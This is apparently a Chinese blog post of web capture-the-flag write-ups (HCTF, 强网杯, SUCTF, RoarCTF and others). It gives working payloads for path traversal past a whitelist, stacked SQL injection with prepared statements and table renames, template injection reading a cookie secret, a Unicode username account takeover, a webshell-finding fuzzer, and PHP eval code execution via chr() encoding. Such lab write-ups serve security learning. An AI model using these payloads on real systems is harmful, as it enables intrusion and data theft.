Web
[HCTF 2018]WarmUp
打开题目F12中看到提示source.php,打开source.php看到源代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
hint.php中看到提示flag在ffffllllaaaagggg中
观察代码这部分发现遇到?即截断可以构造?file=source.php?xxxx绕过waf
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
最终wp:?file=source.php?/../../../../../../../../../../../../ffffllllaaaagggg
这里/使source.php?/变成一个不存在的目录,通过../../跳转目录读取flag
[强网杯 2019]随便注
打开题目看到
测试看到waf过滤了
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
过滤极其严格,尝试堆叠注入发现可行
堆叠注入:同时执行多条sql语句
查看两个表的内容
?inject=1';show columns from `words`;
?inject=1';show columns from `1919810931114514`;
下面我们用两种方式继续解答这道题
预编译
在mysql中支持预编译可以绕过很多种限制
在sql中我们运用如下语句预编译:
set @sql=CONCAT('sele','ct flag from `1919810931114514`');
prepare bypass from @sql;
execute bypass;
deallocate prepare bypass;
所以构造payload如下:
?inject=1';set @sql=CONCAT('sele','ct flag from `1919810931114514`‘);prepare bypass from @sql;execute bypass; deallocate prepare bypass;
发现还有过滤
由于strstr区分大小写,因此用大小写绕过
最终payload:
?inject=1';sEt @sql=CONCAT('sele','ct flag from `1919810931114514`');prePare bypass from @sql;execute bypass; deallocate prePare bypass;
修改表名和表结构
由于过滤了select,但我们可以通过源程序的语句select * from words where id='$id';查询flag
那么思路如下:
- 修改words为word
- 修改1919810931114514为words
- flag列修改为id列
修改表名语法为:
RENAME TABLE tablename1 TO tablename2;
修改列名语法为:
ALTER TABLE tablename CHANGE column1 column2 varchar(100);
构造payload:
?inject=1';RENAME TABLE `words` TO `word`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE words CHANGE flag id varchar(100);
输入1' or 1=1#即可查询到flag
[护网杯 2018]easy_tornado
打开题目看到三个引导文件,进入welcome.txt看到render想到SSTI(模版注入)
观察url发现读取文件为文件名以及文件的哈希值,看到hint中给出了hint值的算法,现在只需要找到cookie_secret
发现hash值错误的时候会有error界面
在msg后测试模版注入,发现大部分被过滤,只能读参数
通过查询资料得知cookie_secret存在self.application.settings中,这里handler.settings指向RequestHandler.application.settings,而RequestHandler.application.settings是self.application.settings的别名
经测试只有handler.settings可以用,其他均为500
注意md5区分大小写
得到flag
[SUCTF 2019]easysql
在网上看到因为出题人的失误导致了很多非预期
出题人如是说:
那么我们在网上看到了泄漏的源码为:
<?php
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
<?php
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
import requests
import re
cnt=1
url="http://14fd9e23-1534-411a-905f-b9f911521294.node3.buuoj.cn";
words=["ADD","ADDONINDEX","AGAINST","ALTER","ALL","ANY","AND","AS","ASC","BEFORE","BEGIN","BINARY","BOOLEAN","BY","BETWEEN","BLOB","BOTH","CALL","CASCADE","CAST","CHANGE","CHAR","CHARACTER","CHECK","COLLATION","COLLATE","CONDITION","CONNECTION","CONSTRAINT","CONTAINS","CONTINUE","CONVERT","COMPUTE","CROSS","CURRENT","CURRENT_DATE","CURRENT_TIME","CURRENT_TIMESTAMP","CURRENT_USER","CURSOR","CREATE","COLUMN","COLUMNS","CASE","DATABASES","DATABASE","DATE","DAY_HOUR","DAY_MICROSECOND","DAY_MINUTE","DAY_SECOND","DEC","DECIMAL","DECLARE","DEFAULT","DELAYED","DETERMINISTIC","DISTINCTROW","DIV","DO","DOUBLE","DELETE","DUAL","DROP","DISTINCT","DESC","DESCRIBE","DICTIONARY","DIMENSION","EACH","ELSEIF","ENCLOSED","ESCAPED","ESCAPE","EXIT","EXCEPT","ELSE","END","ENGINE","EXISTS","EXPLAIN","EXTRACT","FETCH","FIRST","FOLLOWING","FLOAT","FOR","FORCE","FROM","FOREIGN","FULLTEXT","FALSE","FUNCTION","FULL","GLOBAL","GRANT","GOTO","GROUP","HOUR_MICROSECOND","HOUR_MINUTE","HOUR_SECOND","HAVING","IF","IGNORE","IDENTIFIED","IN","IS","INFILE","INT","INTO","INSERT","INTEGER","ITERATE","INDEX","INDEXES","INTERSECT","INTERVAL","INNER","JOIN","KEEP","KILL","KEY","KEYS","LANGUAGE","LAST","LABEL","LEADING","LEAVE","LOAD","LOCALTIME","LOCALTIMESTAMP","LOCK","LIMIT","LONG","LOOP","LEFT","LIKE","MATCH","MINUTE_MICROSECOND","MINUTE_SECOND","MOD","MERGE","MODIFIES","MINUS","MODE","NATURAL","NULL","NOT","NULLS","OFFSET","OPTIMIZE","OPTION","OUT","OPEN","OUTFILE","OUTER","ON","OR","ORDER","OVER","OVERWRITE","PRECEDING","PRECISION","REPLACE","RANGE","PROCEDURE","PRIMARY","READ","REAL","REFERENCES","REGEXP","RELEASE","RENAME","REPEAT","REQUIRE","RESTRICT","RETURN","RLIKE","RIGHT","ROW","ROWS","SELECT","SCHEMA","SECOND+MICROSECOND","SEPARATOR","SESSION","SET","SQLSTATE","STATUS","STORED","SYSTEM","SMALLINT","SPATIAL","SHOW","SPECIFIC","SQL","SOME","TINYINT","TINYBLOB","TABLE","TABLEGROUP","TABLES","TIME","TIMESTAMP","TRIGGER","TO","TOP","TRUNCATE","TRUE","THEN","UNLOCK","UNBOUNDED","UNSIGNED","USE","USING","UNTIL","UPDATE","UNDO","UNIQUE","UNION","VARCHAR","VALUES","VARIABLES","VIEW","WHILE","WITH","WITHIN","WHEN","WHERE","WRITE","XOR","YEAR_MONTH"]
for i in words:
cnt+=1
d={'query':i}
b=requests.post(url,data=d)
if(re.search("Nonono.",b.text)!=None):print(i)
尝试1;show tables; 发现同随便注为堆叠注入
通过看源码可知没有过滤 * 故查询所以即可,payload为*,1
后来看了官方wp
出题人原本出题的点:
* 堆叠查询
* PIPES_AS_CONCAT
我们看到如果把sql_mode设置为PIPES_AS_CONCAT,mysql会把||当成字符串连接符
固payload为:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接为select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag from Flag
[HCTF 2018]admin
看了两天只看懂了出题人的本义的思路(非预期过两天在看:坑++)
先说下出题人的本义:这个用了spotify的一个任意用户修改密码的漏洞
漏洞大概是这个样子
因为在spotify中有这样的用户名创建规则:
* 不允许用户名中的空格
* 将“BigBird”和“bigbird”视为相同的用户名
所以结果就是,无论你输入什么用户名,都会进行 unsername.lower().lower().lower() … 然后进行操作,最终操作时结果都是小写形式。但注册的时候并没有规范处理
于是我们就可以先用ᴀdmin注册一个账号并登陆
然后修改它的密码
用这个改后的密码登陆admin就可以了
[强网杯 2019]高明的黑客
打开看到如下
下载源码看到3002个文件
打开发现全是鬼畜的命名和看起来很像shell的东西
于是构造脚本fuzz找真正的shell
(因为不会多线程跑了二十分钟。。。多线程的坑日后填)
import os
import requests
import sys
url="http://localhost/src/"
files=os.listdir("/Users/f1ag/Downloads/src/")
cnt=1
def findget(file):
a=[]
f=open("/Users/f1ag/Downloads/src/"+file,'r')
cnt=f.readlines()
for i in cnt:
if i.find("$_GET['")>0:
start=i.find("$_GET['")+7
end=i.find("'",start)
a.append(i[start:end])
return a
def findpost(file):
a = []
f = open("/Users/f1ag/Downloads/src/" + file, 'r')
cnt = f.readlines()
for i in cnt:
if i.find("$_POST['") > 0:
start = i.find("$_POST['") + 8
end = i.find("'", start)
a.append(i[start:end])
return a
def test():
global cnt
for i in files:
gets=findget(i)
print("testing file %i:%s"%(cnt,i))
cnt+=1
for j in gets:
newurl=url+"%s?%s=%s"%(i,j,"echo 'F1ag'")
r=requests.get(newurl)
#print(r.text)
if("F1ag" in r.text):
print("get test success:%s in %s"%(j,i))
break
posts=findpost(i)
for j in posts:
newurl=url+"%s"%(i)
r=requests.post(newurl,data={j:"echo 'F1ag'"})
if ("F1ag" in r.text):
print("post test success:%s in %s" % (j, i))
break
test()
期间还被之前配环境的留下坑坑了一下
跑了大概30分钟看到了
直接cat flag得到答案
[RoarCTF 2019]Easy Calc
首先打开F12看到waf
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
在php解析过程中,如果变量前面有空格,会去掉前面的空格再解析
所以使用? num=即可绕过waf
然后看到calc.php访问得到如下代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
可通过chr转ASCII码绕过
首先构造payload看下目录
? num=1;var_dump(scandir(chr(47)))
然后高亮flagg查看flag
?%20num=1;var_dump(highlight_file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
参考资料:
https://www.bbsmax.com/A/WpdKKAjAdV/
https://blog.csdn.net/monkeysheep1234/article/details/89405901
https://blog.csdn.net/jianmoumou233/article/details/80259725
https://blog.csdn.net/belalds/article/details/805757552
https://blog.csdn.net/monkeysheep1234/article/details/89405901
https://www.cnblogs.com/clschao/articles/9962347.html
https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
Comments | NOTHING